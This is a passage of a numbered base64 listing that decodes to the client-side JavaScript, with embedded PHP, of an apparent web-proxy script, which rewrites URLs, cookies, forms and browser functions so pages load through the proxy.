  824. ID8+LCJcJDIiKSkpOyAvLyB1cmxkZWNvZGUoKQp9LAoKYWRkX3F1ZXJ5c3R1ZmY6ZnVuY3Rpb24o
  825. dXJsLHF1ZXJ5c3R1ZmYpewoJdmFyIHBvcz11cmwuaW5kZXhPZignPycpOwoJcmV0dXJuIHVybC5z
  826. dWJzdHIoMCxwb3MrMSkrcXVlcnlzdHVmZit1cmwuc3Vic3RyKHBvcysxLHVybC5sZW5ndGgtcG9z
  827. KTsKfSwKCnByZWdfbWF0Y2hfYWxsOmZ1bmN0aW9uKHJlZ2V4cHN0cixzdHJpbmcpewoJdmFyIG1h
  828. dGNoYXJyPW5ldyBBcnJheSgpOwoJdmFyIHJlZ2V4cD1uZXcgUmVnRXhwKHJlZ2V4cHN0cik7Cgl2
  829. YXIgcmVzdWx0OwoJd2hpbGUodHJ1ZSl7CgkJcmVzdWx0PXJlZ2V4cC5leGVjKHN0cmluZyk7CgkJ
  830. aWYocmVzdWx0IT1udWxsKSBtYXRjaGFyci5wdXNoKHJlc3VsdCk7CgkJZWxzZSBicmVhazsKCX0K
  831. CXJldHVybiBtYXRjaGFycjsKfSwKCmZyYW1pZnlfdXJsOmZ1bmN0aW9uKHVybCxmcmFtZV90eXBl
  832. KXsKCWlmKChmcmFtZV90eXBlIT09PD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRV9UT1ApOyA/PiB8
  833. fCAhdGhpcy5VUkxfRk9STSkgJiYgKGZyYW1lX3R5cGUhPT08P3BocCBlY2hvKFBBR0VUWVBFX0ZS
  834. QU1FRF9QQUdFKTsgPz4gJiYgIXRoaXMuUEFHRV9GUkFNRUQpKSByZXR1cm4gdXJsOwoJdmFyIHVy
  835. bHF1b3RlPSIiOwoJaWYoKHVybC5zdWJzdHJpbmcoMCwxKT09IlwiIiB8fCB1cmwuc3Vic3RyaW5n
  836. KDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEpPT11cmwuc3Vic3RyaW5nKHVybC5sZW5n
  837. dGgtMSx1cmwubGVuZ3RoKSl7CgkJdXJscXVvdGU9dXJsLnN1YnN0cmluZygwLDEpOwoJCXVybD11
  838. cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsKCX0KCWlmKCF1cmwubWF0Y2goPD9waHAgZWNo
  839. byhGUkFNRV9MT0NLX1JFR0VYUCk7ID8+KSl7CgkJdmFyIHF1ZXJ5OwoJCWlmKGZyYW1lX3R5cGU9
  840. PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FX1RPUCk7ID8+ICYmIHRoaXMuVVJMX0ZPUk0pIHF1
  841. ZXJ5PScmPSc7CgkJZWxzZSBpZihmcmFtZV90eXBlPT09PD9waHAgZWNobyhQQUdFVFlQRV9GUkFN
  842. RURfQ0hJTEQpOyA/PikgcXVlcnk9Jy4mPSc7CgkJZWxzZSBpZihmcmFtZV90eXBlPT09PD9waHAg
  843. ZWNobyhQQUdFVFlQRV9GUkFNRURfUEFHRSk7ID8+IHx8IHRoaXMuUEFHRV9GUkFNRUQpIHF1ZXJ5
  844. PSdfJj0nOwoJCWVsc2UgcXVlcnk9Jyc7CgkJdXJsPXVybC5yZXBsYWNlKC9eKFteXD9dKilbXD9d
  845. Pzw/cGhwIGVjaG8oUEFHRVRZUEVfTUlOSVJFR0VYUCk7ID8+KFteI10qP1sjXT8uKj8pJC8sJ1wk
  846. MT89JytxdWVyeSsnXCQzJyk7Cgl9CglpZih1cmxxdW90ZSE9IiIpIHVybD11cmxxdW90ZSt1cmwr
  847. dXJscXVvdGU7CglyZXR1cm4gdXJsOwp9LAoKcGFyc2VfaHRtbDpmdW5jdGlvbihyZWdleHAscGFy
  848. dG9wYXJzZSxodG1sLGFkZHByb3h5LGZyYW1pZnkpewoJdmFyIG1hdGNoLGJlZ2luLGVuZCxudXJs
  849. OwoJaWYoaHRtbC5tYXRjaChyZWdleHApKXsKCQl2YXIgbWF0Y2hhcnI9dGhpcy5wcmVnX21hdGNo
  850. X2FsbChyZWdleHAsaHRtbCk7CgkJdmFyIG5ld2h0bWw9IiI7CgkJZm9yKHZhciBrZXkgaW4gbWF0
  851. Y2hhcnIpewoJCQkvKm1hdGNoPW1hdGNoYXJyW2ldOwoJCQludXJsPXRoaXMuc3Vycm9nYWZ5X3Vy
  852. bChtYXRjaFtwYXJ0b3BhcnNlXSx1bmRlZmluZWQsYWRkcHJveHkpOwoJCQluaHRtbD1tYXRjaFsw
  853. XS5yZXBsYWNlKG1hdGNoW3BhcnRvcGFyc2VdLG51cmwpOwoJCQlodG1sPWh0bWwucmVwbGFjZSht
  854. YXRjaFswXSxuaHRtbCk7Ki8KCQkJbWF0Y2g9bWF0Y2hhcnJba2V5XTsKCQkJaWYobWF0Y2hbcGFy
  855. dG9wYXJzZV0hPXVuZGVmaW5lZCl7CgkJCQliZWdpbj1odG1sLmluZGV4T2YobWF0Y2hbcGFydG9w
  856. YXJzZV0pOwoJCQkJZW5kPWJlZ2luK21hdGNoW3BhcnRvcGFyc2VdLmxlbmd0aDsKCQkJCW51cmw9
  857. dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7
  858. CgkJCQlpZihmcmFtaWZ5KSBudXJsPXRoaXMuZnJhbWlmeV91cmwobnVybCxmcmFtaWZ5KTsKCQkJ
  859. CW5ld2h0bWwrPWh0bWwuc3Vic3RyaW5nKDAsYmVnaW4pK251cmw7CgkJCQlodG1sPWh0bWwuc3Vi
  860. c3RyaW5nKGVuZCk7CgkJCX0KCQl9CgkJaHRtbD1uZXdodG1sK2h0bWw7Cgl9CglyZXR1cm4gaHRt
  861. bDsKfSwKCnBhcnNlX2FsbF9odG1sOmZ1bmN0aW9uKCl7CglpZihhcmd1bWVudHNbMF09PW51bGwp
  862. IHJldHVybjsKCXZhciBodG1sPWFyZ3VtZW50c1swXS50b1N0cmluZygpOwoJdmFyIGtleTsKCWZv
  863. cih2YXIga2V5IGluIHJlZ2V4cF9hcnJheXMpewoJCWlmKChhcmd1bWVudHMubGVuZ3RoPjEgJiYg
  864. a2V5IT1hcmd1bWVudHNbMV0pIHx8IGtleT09J3RleHQvamF2YXNjcmlwdCcpIGNvbnRpbnVlOwoJ
  865. CWFycj1yZWdleHBfYXJyYXlzW2tleV07CgkJZm9yKHZhciByZWdleHBfYXJyYXlrZXkgaW4gYXJy
  866. KXsKCQkJcmVnZXhwX2FycmF5PWFycltyZWdleHBfYXJyYXlrZXldOwoJCQlpZihyZWdleHBfYXJy
  867. YXlbMF09PXVuZGVmaW5lZCkgY29udGludWU7CgkJCWlmKHJlZ2V4cF9hcnJheVswXT09MSkgaHRt
  868. bD1odG1sLnJlcGxhY2UocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSk7CgkJCWVsc2Ug
  869. aWYocmVnZXhwX2FycmF5WzBdPT0yKXsKCQkJCWFkZHByb3h5PShyZWdleHBfYXJyYXkubGVuZ3Ro
  870. PjM/cmVnZXhwX2FycmF5WzNdOnRydWUpOwoJCQkJZnJhbWlmeT0ocmVnZXhwX2FycmF5Lmxlbmd0
  871. aD40P3JlZ2V4cF9hcnJheVs0XTpmYWxzZSk7CgkJCQlodG1sPXRoaXMucGFyc2VfaHRtbChyZWdl
  872. eHBfYXJyYXlbMV0scmVnZXhwX2FycmF5WzJdLGh0bWwsYWRkcHJveHksZnJhbWlmeSk7CgkJCX0K
  873. CQl9Cgl9CglyZXR1cm4gaHRtbDsKfSwKCmZvcm1fYnV0dG9uOm51bGwsCmZvcm1fZW5jcnlwdDpm
  874. dW5jdGlvbihmb3JtKXsKCWlmKGZvcm0ubWV0aG9kPT0ncG9zdCcpIHJldHVybiB0cnVlOwoJLy9h
  875. Y3Rpb249Zm9ybS48cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4udmFsdWU7Cgl2YXIgYWN0aW9uPWZv
  876. cm0uZ2V0RWxlbWVudHNCeU5hbWUodGhpcy5DT09LX1BSRUYpWzBdLnZhbHVlOwoJZm9yKHZhciBp
  877. PTE7aTxmb3JtLmVsZW1lbnRzLmxlbmd0aDtpKyspewoJCWlmKGZvcm0uZWxlbWVudHNbaV0uZGlz
  878. YWJsZWQgfHwgZm9ybS5lbGVtZW50c1tpXS5uYW1lPT0nJyB8fCBmb3JtLmVsZW1lbnRzW2ldLnZh
  879. bHVlPT0nJyB8fCBmb3JtLmVsZW1lbnRzW2ldLnR5cGU9PSdyZXNldCcpIGNvbnRpbnVlOwoJCWlm
  880. KGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3N1Ym1pdCcpewoJCQlpZihmb3JtLmVsZW1lbnRzW2ld
  881. Lm5hbWUhPXRoaXMuZm9ybV9idXR0b24pIGNvbnRpbnVlOwoJCQl0aGlzLmZvcm1fYnV0dG9uPW51
  882. bGw7CgkJfQoJCXZhciBwcmVmOwoJCWlmKCFhY3Rpb24ubWF0Y2goL1w/LykpIHByZWY9Ij8iOwoJ
  883. CWVsc2UgcHJlZj0iJiI7CgkJYWN0aW9uKz1wcmVmK2Zvcm0uZWxlbWVudHNbaV0ubmFtZSsiPSIr
  884. Zm9ybS5lbGVtZW50c1tpXS52YWx1ZTsKCX0KCWxvY2F0aW9uLmhyZWY9dGhpcy5zdXJyb2dhZnlf
  885. dXJsKGFjdGlvbik7CglyZXR1cm4gZmFsc2U7Cn0sCgpzZXRBdHRyOmZ1bmN0aW9uKG9iaixhdHRy
  886. LHZhbCl7CglpZih0eXBlb2YoYXR0cikhPXR5cGVvZigiIikpewoJCWF0dHI9YXR0ci50b1N0cmlu
  887. ZygpOwoJCWF0dHI9YXR0ci5zdWJzdHIoMSxhdHRyLmxlbmd0aC0yKTsKCX0KCglpZihhdHRyPT0i
  888. aW5uZXJIVE1MIil7CgkJb2JqW2F0dHJdPXRoaXMucGFyc2VfYWxsX2h0bWwodmFsKTsKCQlyZXR1
  889. cm4gb2JqW2F0dHJdOwoJfQoKCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09Imhvc3RuYW1lIikg
  890. cmV0dXJuIHRoaXMuTE9DQVRJT05fSE9TVE5BTUU7CgoJaWYob2JqPT1kb2N1bWVudCAmJiBhdHRy
  891. PT0iY29va2llIil7CgkJY29uc3QgQ09PS19SRUc9L14oW149XSopPShbXjtdKikoPzo7W1xzXFNd
  892. Kj8pPyQvaTsKCQl2YXIgcmVhbGhvc3Q9dGhpcy5MT0NBVElPTl9IT1NUTkFNRS5yZXBsYWNlKCIv
  893. Xnd3dy9pIiwiIikucmVwbGFjZSgiLiIsIl8iKTsKCQl2YXIgY29va2tleT12YWwucmVwbGFjZShD
  894. T09LX1JFRywiXCQxIik7CgkJdmFyIGNvb2t2YWw9dmFsLnJlcGxhY2UoQ09PS19SRUcsIlwkMiIp
  895. OwoJCWlmKHRoaXMuRU5DUllQVF9DT09LUyl7CgkJCWNvb2trZXk9cHJveGVuYyhjb29ra2V5KTsK
  896. CQkJY29va3ZhbD1wcm94ZW5jKGNvb2t2YWwpOwoJCX0KCQl2YXIgbmV3Y29va2llPXJlYWxob3N0
  897. KyI8P3BocCBlY2hvKENPT0tJRV9TRVBBUkFUT1IpOyA/PiIrY29va2tleSsiPSIrY29va3ZhbCsi
  898. OyAiOwoJCWRvY3VtZW50LmNvb2tpZT1uZXdjb29raWU7CgkJcmV0dXJuIG5ld2Nvb2tpZTsKCX0K
  899. CglpZihvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJzZWFyY2giKXsKCQlpZih2YWwuc3Vic3RyKDAs
  900. MSk9PSI/IikgdmFsPXZhbC5zdWJzdHIoMSk7CgkJdGhpcy5jdXJyX3VybG9iai5zZXRfcXVlcnko
  901. dmFsKTsKCQl2YWw9dGhpcy5jdXJyX3VybG9iai5nZXRfdXJsKCk7CgkJYXR0cj0iaHJlZiI7Cgl9
  902. CgoJdmFyIHByb3h1cmw9dmFsOwoJaWYoYXR0ciE9ImNvb2tpZSIgJiYgYXR0ciE9InNlYXJjaCIg
  903. JiYgYXR0ciE9Imhvc3RuYW1lIil7CgkJcHJveHVybD10aGlzLnN1cnJvZ2FmeV91cmwodmFsKTsK
  904. CgkJLy8gdGFncyBmcmFtaWZpZWQgIG11c3QgbWF0Y2ggUkVHRVhQUyB3aXRoIHJlZ2V4cF9hcnJh
  905. eVs1XQoJCWlmKG9iai50YWdOYW1lPT0iQSIgfHwgb2JqLnRhZ05hbWU9PSJBUkVBIikKCQkJcHJv
  906. eHVybD10aGlzLmZyYW1pZnlfdXJsKHByb3h1cmwsPD9waHAgZWNobyhORVdfUEFHRVRZUEVfRlJB
  907. TUVfVE9QKTsgPz4pOwoJCWVsc2UgaWYob2JqLnRhZ05hbWU9PSJGUkFNRSIgfHwgb2JqLnRhZ05h
  908. bWU9PSJJRlJBTUUiKQoJCQlwcm94dXJsPXRoaXMuZnJhbWlmeV91cmwocHJveHVybCw8P3BocCBl
  909. Y2hvKFBBR0VUWVBFX0ZSQU1FRF9DSElMRCk7ID8+KTsKCX0KCglpZih0aGlzLlVSTF9GT1JNKXsK
  910. CQlpZigob2JqPT1sb2NhdGlvbiAmJiBhdHRyPT0iaHJlZiIpIHx8IGF0dHI9PSJsb2NhdGlvbiIp
  911. ewoJCQl1cmxvYmo9dGhpcy5zdXJyb2dhZnlfdXJsX3Rvb2JqKHZhbCk7CgkJCWlmKCF1cmxvYmou
  912. bG9ja2VkKSBwcm94dXJsPXRoaXMuYWRkX3F1ZXJ5c3R1ZmYocHJveHVybCwiPSYiKTsKCQkJdGhp
  913. cy50aGV0b3AubG9jYXRpb24uaHJlZj1wcm94dXJsOwoJCX0KCQllbHNlIG9ialthdHRyXT1wcm94
  914. dXJsOwoJfQoJZWxzZSBvYmpbYXR0cl09cHJveHVybDsKfSwKCmdldEF0dHI6ZnVuY3Rpb24ob2Jq
  915. LGF0dHIpewoJaWYodHlwZW9mKGF0dHIpIT10eXBlb2YoIiIpKXsKCQlhdHRyPWF0dHIudG9TdHJp
  916. bmcoKTsKCQlhdHRyPWF0dHIuc3Vic3RyKDEsYXR0ci5sZW5ndGgtMik7Cgl9CgoJaWYob2JqPT1k
  917. b2N1bWVudCAmJiBhdHRyPT0iY29va2llIil7CgkJdmFyIG9jb29raWVzPXRoaXMuZ2V0Q29va2ll
  918. QXJyKCk7CgkJdmFyIGNvb2tpZXM9IiIsb2Nvb2s7CgkJY29uc3QgQ09PS19SRUc9L14oW1xzXFNd
  919. Kik8P3BocCBlY2hvKENPT0tJRV9TRVBBUkFUT1IpOyA/PihbXj1dKik9KFtcc1xTXSopKD86OyAp
  920. PyQvaTsKCQlmb3IodmFyIGtleSBpbiBvY29va2llcyl7CgkJCW9jb29rPW9jb29raWVzW2tleV07
  921. CgkJCWlmKHR5cGVvZihvY29vaykhPXR5cGVvZigiIikpIGNvbnRpbnVlOwoJCQlpZihvY29vay5t
  922. YXRjaChDT09LX1JFRyk9PW51bGwpIGNvbnRpbnVlOwoJCQl2YXIgcmVhbGhvc3Q9dGhpcy5MT0NB
  923. VElPTl9IT1NUTkFNRS5yZXBsYWNlKCIvXnd3dy9pIiwiIikucmVwbGFjZSgiLiIsIl8iKTsKCQkJ
  924. dmFyIGNvb2tob3N0PW9jb29rLnJlcGxhY2UoQ09PS19SRUcsIlwkMSIpOwoJCQlpZihjb29raG9z
  925. dD09cmVhbGhvc3QpewoJCQkJaWYodGhpcy5FTkNSWVBUX0NPT0tTKXsKCQkJCQl2YXIgY29va2tl
  926. eT10aGlzLnBlLnByb3hkZWMob2Nvb2sucmVwbGFjZShDT09LX1JFRywiXCQyIikpOwoJCQkJCXZh
  927. ciBjb29rdmFsPXRoaXMucGUucHJveGRlYyhvY29vay5yZXBsYWNlKENPT0tfUkVHLCJcJDMiKSk7
  928. CgkJCQkJY29va2llcys9Y29va2tleSsiPSIrY29va3ZhbCsiOyAiOwoJCQkJfQoJCQkJZWxzZSBj
  929. b29raWVzKz1vY29vay5yZXBsYWNlKENPT0tfUkVHLCJcJDI9XCQzOyAiKTsKCQkJfQoJCX0KCQly
  930. ZXR1cm4gY29va2llczsKCX0KCglpZihvYmo9PW5hdmlnYXRvcil7CgkJaWYodGhpcy5VU0VSQUdF
  931. TlQ9PSItMSIgJiYgKGF0dHIhPSJwbHVnaW5zIiAmJiBhdHRyIT0ibWltZVR5cGUiKSkgcmV0dXJu
  932. IHVuZGVmaW5lZDsKCQlpZih0aGlzLlVTRVJBR0VOVD09IiIpIHJldHVybiBvYmpbYXR0cl07CgkJ
  933. dmFyIG1zaWU9dGhpcy5VU0VSQUdFTlQubWF0Y2goL21zaWUvaSk7CgkJY29uc3QgVUFfUkVHPS9e
  934. KFteXC9cKF0qKVwvPyhbXiBcKF0qKVsgXSooXCg/KFteO1wpXSopOz8oW147XCldKik7PyhbXjtc
  935. KV0qKTs/KFteO1wpXSopOz8oW147XCldKik7P1teXCldKlwpPylbIF0qKFteIFwvXSopXC8/KFte
  936. IFwvXSopLiokL2k7CgkJc3dpdGNoKGF0dHIpewoJCQljYXNlICJ1c2VyQWdlbnQiOiByZXR1cm4g
  937. dGhpcy5VU0VSQUdFTlQ7CgkJCWNhc2UgImFwcENvZGVOYW1lIjogcmV0dXJuIHRoaXMuVVNFUkFH
  938. RU5ULnJlcGxhY2UoVUFfUkVHLCJcJDEiKTsKCQkJY2FzZSAiYXBwVmVyc2lvbiI6IHJldHVybiAo
  939. bXNpZT90aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQyIFwkMyIpOnRoaXMuVVNFUkFH
  940. RU5ULnJlcGxhY2UoVUFfUkVHLCJcJDIgKFwkNDsgXCQ3KSIpKTsKCQkJY2FzZSAicGxhdGZvcm0i
  941. OgoJCQkJdmFyIHRlbXBwbGF0Zm9ybT10aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQ0
  942. Iik7CgkJCQlyZXR1cm4gKHRlbXBwbGF0Zm9ybT09ImNvbXBhdGlibGUiIHx8IHRlbXBwbGF0Zm9y
  943. bT09IldpbmRvd3MiPyJXaW4zMiI6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkNiIp
  944. KTsKCQkJY2FzZSAib3NjcHUiOiByZXR1cm4gKG1zaWU/dW5kZWZpbmVkOnRoaXMuVVNFUkFHRU5U
  945. LnJlcGxhY2UoVUFfUkVHLCJcJDYiKSk7CgkJCWNhc2UgImxhbmd1YWdlIjogcmV0dXJuIChtc2ll
  946. P3VuZGVmaW5lZDp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQ3IikpOwoJCQljYXNl
  947. ICJhcHBOYW1lIjoKCQkJCXZhciB0ZW1wYXBwbmFtZT0obXNpZT8iTWljcm9zb2Z0IEludGVybmV0
  948. IEV4cGxvcmVyIjp0aGlzLlVTRVJBR0VOVC5yZXBsYWNlKFVBX1JFRywiXCQxIikpOwoJCQkJaWYo
  949. dGVtcGFwcG5hbWU9PSJPcGVyYSIgfHwgdGVtcGFwcG5hbWU9PSJNb3ppbGxhIikgdGVtcGFwcG5h
  950. bWU9Ik5ldHNjYXBlIjsKCQkJCXJldHVybiB0ZW1wYXBwbmFtZTsKCQkJY2FzZSAicHJvZHVjdCI6
  951. IHJldHVybiAobXNpZT91bmRlZmluZWQ6dGhpcy5VU0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwk
  952. OSIpKTsKCQkJY2FzZSAicHJvZHVjdFN1YiI6IHJldHVybiAobXNpZT91bmRlZmluZWQ6dGhpcy5V
  953. U0VSQUdFTlQucmVwbGFjZShVQV9SRUcsIlwkMTAiKSk7CgkJCWNhc2UgInBsdWdpbnMiOiByZXR1
  954. cm4gKDw/cGhwIGVjaG8oKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3Rz
  955. J10pPycxJzonMCcpKTsgPz49PTE/bmF2aWdhdG9yLnBsdWdpbnM6dW5kZWZpbmVkKTsKCQkJY2Fz
  956. ZSAibWltZVR5cGUiOiByZXR1cm4gbmF2aWdhdG9yLm1pbWVUeXBlOwoJCQlkZWZhdWx0OiByZXR1
  957. cm4gdW5kZWZpbmVkOwoJCX0KCX0KCglpZihvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJzZWFyY2gi
  958. KSB1cmw9bG9jYXRpb24uaHJlZjsKCWVsc2UgdXJsPW9ialthdHRyXTsKCXVybD10aGlzLmRlX3N1
  959. cnJvZ2FmeV91cmwodXJsKTsKCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09InNlYXJjaCIpIHVy
  960. bD11cmwucmVwbGFjZSgvXlteP10qLywiIik7CglyZXR1cm4gdXJsOwp9LAoKZXZlbnRpZnk6ZnVu
  961. Y3Rpb24oYTEsYTIpewoJZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImhlYWQiKVswXS5h
  962. ZGRFdmVudExpc3RlbmVyKCJsb2FkIixmdW5jdGlvbigpezw/cGhwIGVjaG8oQ09PS19QUkVGKTsg
  963. Pz4uc2V0UGFyZW50U3R1ZmYoYTEsYTIpO30sZmFsc2UpOwoJd2luZG93LmFkZEV2ZW50TGlzdGVu
  964. ZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRT
  965. dHVmZihhMSxhMik7fSxmYWxzZSk7Cgl0aGlzLnNldFBhcmVudFVSTCh0aGlzLkNVUlJfVVJMKTsK
  966. fSwKCnNldFBhcmVudFVSTDpmdW5jdGlvbih1cmwpewoJaWYodGhpcy50aGV0b3AhPW51bGwgJiYg
  967. dGhpcy50aGV0b3AhPXdpbmRvdyl7CgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5
  968. SWQoJ3VybCcpLnZhbHVlPXVybDsKCQl0aGlzLnRoZXRvcC5kb2N1bWVudC5nZXRFbGVtZW50QnlJ
  969. ZCgncHJveHlfbGluaycpLmhyZWY9dGhpcy5hZGRfcXVlcnlzdHVmZih0aGlzLnN1cnJvZ2FmeV91
  970. cmwodXJsKSwiPS0mIik7Cgl9Cn0sCgpzZXRQYXJlbnRTdHVmZjpmdW5jdGlvbihwcm90byxzZXJ2
  971. ZXIpeyAvLyBhbWF6aW5nIGNyZWF0aXZpdHkgd2l0aCB0aGUgbmFtZSBvbiBteSBwYXJ0Cgl2YXIg
  972. dG9wZG9jPXRoaXMudGhldG9wLmRvY3VtZW50OwoJdG9wZG9jLnRpdGxlPWRvY3VtZW50LnRpdGxl
  973. OwoKCS8vIGZpbmQgYW5kIHNldCBzaG9ydGN1dCBpY29uCgl2YXIgdG9waGVhZD10b3Bkb2MuZ2V0
  974. RWxlbWVudHNCeVRhZ05hbWUoImhlYWQiKVswXTsKCXZhciBsaW5rcz10b3BoZWFkLmdldEVsZW1l
  975. bnRzQnlUYWdOYW1lKCJsaW5rIik7Cgl2YXIgbGluaz1udWxsOwoJZm9yKHZhciBpPTA7IGk8bGlu
  976. a3MubGVuZ3RoOyBpKyspeyBpZihsaW5rc1tpXS50eXBlPT0iaW1hZ2UveC1pY29uIiAmJiBsaW5r
  977. c1tpXS5yZWw9PSJzaG9ydGN1dCBpY29uIikgbGluaz1saW5rc1tpXTsgfQoKCWlmKHRvcGhlYWQu
  978. Z2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKS5sZW5ndGg+MCkgdG9waGVhZC5yZW1vdmVDaGls
  979. ZCh0b3Bkb2MuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKVswXSk7CgoJdmFyIGZhdmljb249
  980. dG9wZG9jLmNyZWF0ZUVsZW1lbnQoImxpbmsiKTsKCWZhdmljb24udHlwZT0iaW1hZ2UveC1pY29u
  981. IjsKCWZhdmljb24ucmVsPSJzaG9ydGN1dCBpY29uIjsKCWZhdmljb24uaHJlZj0obGluaz09bnVs
  982. bD90aGlzLnN1cnJvZ2FmeV91cmwocHJvdG8rIjovLyIrc2VydmVyKyIvZmF2aWNvbi5pY28iKTps
  983. aW5rLmhyZWYpOwoJdG9waGVhZC5hcHBlbmRDaGlsZChmYXZpY29uKTsKfSwKClhNTEh0dHBSZXF1
  984. ZXN0X3dyYXA6ZnVuY3Rpb24oeG1saHR0cG9iail7Cgl4bWxodHRwb2JqLjw/cGhwIGVjaG8oQ09P
  985. S19QUkVGKTsgPz5fb3Blbj14bWxodHRwb2JqLm9wZW47Cgl4bWxodHRwb2JqLm9wZW49PD9waHAg
  986. ZWNobyhDT09LX1BSRUYpOyA/Pi5YTUxIdHRwUmVxdWVzdF9vcGVuOwoJcmV0dXJuIHhtbGh0dHBv
  987. Ymo7Cn0sCgpYTUxIdHRwUmVxdWVzdF9vcGVuOmZ1bmN0aW9uKCl7CglpZihhcmd1bWVudHMubGVu
  988. Z3RoPDIpIHJldHVybjsKCWFyZ3VtZW50c1sxXT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnN1
  989. cnJvZ2FmeV91cmwoYXJndW1lbnRzWzFdKTsKCXJldHVybiB0aGlzLjw/cGhwIGVjaG8oQ09PS19Q
  990. UkVGKTsgPz5fb3Blbi5hcHBseSh0aGlzLGFyZ3VtZW50cyk7Cn0sCgovLyBXUkFQUEVEIEZVTkNU
  991. SU9OUyBBTkQgT0JKRUNUUwp0aGV0b3A6dG9wLAp0aGVwYXJlbnQ6cGFyZW50LApzZXRUaW1lb3V0
  992. OndpbmRvdy5zZXRUaW1lb3V0LApzZXRJbnRlcnZhbDp3aW5kb3cuc2V0SW50ZXJ2YWwsCmRvY3Vt
  993. ZW50X3dyaXRlX3F1ZXVlOiIiLApwdXJnZTpmdW5jdGlvbigpewoJdGhlaHRtbD10aGlzLmRvY3Vt
  994. ZW50X3dyaXRlX3F1ZXVlOwoJaWYodGhlaHRtbD09IiIpIHJldHVybjsKCXRoZWh0bWw9dGhpcy5w
  995. YXJzZV9hbGxfaHRtbCh0aGVodG1sKTsKCXRoaXMuZG9jdW1lbnRfd3JpdGVfcXVldWU9IiI7Cgkv
  996. L2FsZXJ0KHRoZWh0bWwpOyAvLyBERUJVRwoJZG9jdW1lbnQud3JpdGVfPD9waHAgZWNobyhDT09L
  997. X1BSRUYpOyA/Pih0aGVodG1sKTsKfSwKCnB1cmdlX25vcGFyc2U6ZnVuY3Rpb24oKXsKCXRoZWh0
  998. bWw9dGhpcy5kb2N1bWVudF93cml0ZV9xdWV1ZTsKCWlmKHRoZWh0bWw9PSIiKSByZXR1cm47Cgl0
  999. aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOwoJZG9jdW1lbnQud3JpdGVfPD9waHAgZWNobyhD
  1000. T09LX1BSRUYpOyA/Pih0aGVodG1sKTsKfQoKfQoKLy8gfX19CgovLyBKQVZBU0NSSVBUIEZVTkNT
  1001. OiBXUkFQUElORyB7e3sKCmRvY3VtZW50LndyaXRlXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz49
  1002. ZG9jdW1lbnQud3JpdGU7CmRvY3VtZW50LndyaXRlbG5fPD9waHAgZWNobyhDT09LX1BSRUYpOyA/
  1003. Pj1kb2N1bWVudC53cml0ZWxuOwpkb2N1bWVudC53cml0ZT1mdW5jdGlvbihodG1sKXsgPD9waHAg
  1004. ZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbDsgfQpkb2N1bWVu
  1005. dC53cml0ZWxuPWZ1bmN0aW9uKGh0bWwpeyA8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LmRvY3Vt
  1006. ZW50X3dyaXRlX3F1ZXVlKz1odG1sKyJcbiI7IH0KCndpbmRvdy5vcGVuXzw/cGhwIGVjaG8oQ09P
  1007. S19QUkVGKTsgPz49d2luZG93Lm9wZW47CndpbmRvdy5vcGVuPWRvY3VtZW50Lm9wZW49ZnVuY3Rp
  1008. b24oKXsKCWlmKGFyZ3VtZW50cy5sZW5ndGg8MSkgcmV0dXJuOwoJdmFyIHVybD08P3BocCBlY2hv
  1009. KENPT0tfUFJFRik7ID8+LnN1cnJvZ2FmeV91cmwoYXJndW1lbnRzWzBdKTsKCWlmKCh1cmwuc3Vi
  1010. c3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJz
  1011. dHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpIHVybD11
  1012. cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsKCWFyZ3VtZW50c1swXT11cmw7CglyZXR1cm4g
  1013. d2luZG93Lm9wZW5fPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixh
  1014. cmd1bWVudHMpOwp9CgpzZXRUaW1lb3V0PWZ1bmN0aW9uKCl7CglpZihhcmd1bWVudHMubGVuZ3Ro
  1015. PDIpIHJldHVybjsKCWFyZ3VtZW50c1swXT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnBhcnNl
  1016. X2FsbF9odG1sKGFyZ3VtZW50c1swXSwiYXBwbGljYXRpb24veC1qYXZhc2NyaXB0Iik7CglyZXR1
  1017. cm4gPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRUaW1lb3V0LmFwcGx5KHRoaXMsYXJndW1l
  1018. bnRzKTsKfQoKc2V0SW50ZXJ2YWw9ZnVuY3Rpb24oKXsKCWlmKGFyZ3VtZW50cy5sZW5ndGg8Mikg
